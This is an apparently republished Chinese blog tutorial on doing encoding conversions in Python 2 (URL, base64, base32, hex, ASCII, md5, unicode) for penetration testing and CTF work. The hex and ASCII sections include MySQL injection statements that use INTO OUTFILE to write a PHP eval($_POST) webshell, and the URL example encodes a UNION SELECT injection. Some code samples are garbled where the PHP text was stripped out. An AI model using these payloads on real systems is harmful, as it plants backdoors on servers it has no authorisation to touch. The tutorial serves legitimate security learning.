python中关于编码转换的实例详解

在日常渗透,漏洞挖掘,甚至是ctf比赛中会遇到各种编码,常常伴随着这些编码之间的各种转换。下面这篇文章主要介绍了python中编码转换妙用的相关资料,需要的朋友们可以参考借鉴,下面来一起看看吧。

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python中关于编码转换的实例详解

python中关于编码转换的实例详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

立即学习“Python免费学习笔记(深入)”;

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *>>> quote("union select null,null,null")'union%20select%20null%2Cnull%2Cnull'>>> unquote("union%20select%20null%2Cnull%2Cnull")'union select null,null,null'>>> urlencode({'x':'2333','y':'666'})'y=666&x=2333'

登录后复制

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64>>> base64.b64encode("admin")'YWRtaW4='>>> base64.b64decode('YWRtaW4=')'admin'

登录后复制

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64>>> base64.b32encode('jjjjj')'NJVGU2TK'>>> base64.b32decode('NJVGU2TK')'jjjjj'

登录后复制

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

登录后复制

下面是python实现hex加解密的方法:

>>> ''.encode('hex')'3c3f70687020406576616c28245f504f53545b615d293b203f3e'>>>>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')>>>

登录后复制

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

登录后复制

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "")[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]>>> print chr(112)p>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法

登录后复制

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5>>> m = md5()>>> m.update('this is a secret')>>> m.hexdigest()'7dbbcee180ba4d456e4aa1cfbdad9c7b'>>> m.hexdigest()[8:-8]'80ba4d456e4aa1cf'>>>

登录后复制

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"u4f60u9700u8981u91cdu65b0u767bu9646"你需要重新登陆

登录后复制

总结

以上就是python中关于编码转换的实例详解的详细内容,更多请关注【创想鸟】其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2273371.html

(0)
上一篇 2025年2月27日 13:23:13
下一篇 2025年2月27日 13:23:30

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 关于Python中Tuple和Dict详细解析

    这篇文章主要介绍了关于python中元祖(tuple)和字典(dict)的相关资料,文中通过示例代码介绍的非常详细,相信对大家具有一定的参考价值,需要的朋友们下面来一起看看吧。 前言 本文记录了对于Python的数据类型中元祖(Tuple)…

    编程技术 2025年2月27日
    200
  • 抓取网易新闻的python代码示例

    这篇文章主要介绍了python正则抓取网易新闻的方法,结合实例形式较为详细的分析了python使用正则进行网易新闻抓取操作的相关实现技巧与注意事项,需要的朋友可以参考下 本文实例讲述了Python正则抓取网易新闻的方法。分享给大家供大家参考…

    2025年2月27日
    200
  • shape计算矩阵的python代码示例

    这篇文章主要介绍了python中shape计算矩阵的方法,涉及python数学运算相关实现技巧,需要的朋友可以参考下 本文实例讲述了Python中shape计算矩阵的方法。分享给大家供大家参考,具体如下: 看到机器学习算法时,注意到了sha…

    编程技术 2025年2月27日
    200
  • python提取那些被“标记”照片的实例详解

    这篇文章主要介绍了用python找出那些被“标记”的照片的相关资料,需要的朋友可以参考下 源码传送门 环境准备 下面的两个第三方模块都可以直接通过pip快速安装,这里使用py36作为运行环境。 python3.6 立即学习“Python免费…

    2025年2月27日
    200
  • 教你用Python如何连接SQLServer2000的实例详解

    这篇文章主要介绍了python连接sqlserver2000的方法,结合实例形式分析了python实现数据库连接过程中所遇到的常见问题与相关注意事项,需要的朋友可以参考下 本文实例讲述了Python连接SQLServer2000的方法。分享…

    编程技术 2025年2月27日
    200
  • Python关于列表切片的详解介绍

    这篇文章主要介绍了python列表切片用法,结合实例形式分析了python列表切片的常见操作方法及相关注意事项,需要的朋友可以参考下 本文实例讲述了Python列表切片用法。分享给大家供大家参考,具体如下: Python中符合序列的有序序列…

    编程技术 2025年2月27日
    200
  • Python关于event对象用法的实例详解

    这篇文章主要介绍了python编程之event对象的用法,结合实例形式分析了event对象在线程通信中的作用与使用方法,需要的朋友可以参考下 本文实例讲述了Python编程中event对象的用法。分享给大家供大家参考,具体如下: Pytho…

    编程技术 2025年2月27日
    200
  • python Condition对象之生产者与消费者操作的代码实例

    这篇文章主要介绍了python条件变量之生产者与消费者操作,结合具体实例形式分析了python条件变量的概念、原理、及线程操作的相关技巧,需要的朋友可以参考下 本文实例讲述了python条件变量之生产者与消费者操作。分享给大家供大家参考,具…

    2025年2月27日
    200
  • Python对sqlite3操作的代码示例

    这篇文章主要介绍了python简单操作sqlite3的方法,结合实例形式分析了python针对sqlite3数据库的读取、创建、增删改查等基本操作技巧,需要的朋友可以参考下 import sqlite3def Test1():  #con …

    编程技术 2025年2月27日
    200
  • 用Python实现IP在整型与字符串间的转换的方法

    这篇文章主要给大家介绍了利用python将ip在整型和字符串之间轻松转换的相关资料,文中还跟大家分享了python下利用正则表达式来匹配校验一个字符串是否为ip地址的方法,需要的朋友可以参考借鉴,下面来一起看看吧。 前言 大家应该都有所体会…

    编程技术 2025年2月27日
    200

发表回复

登录后才能评论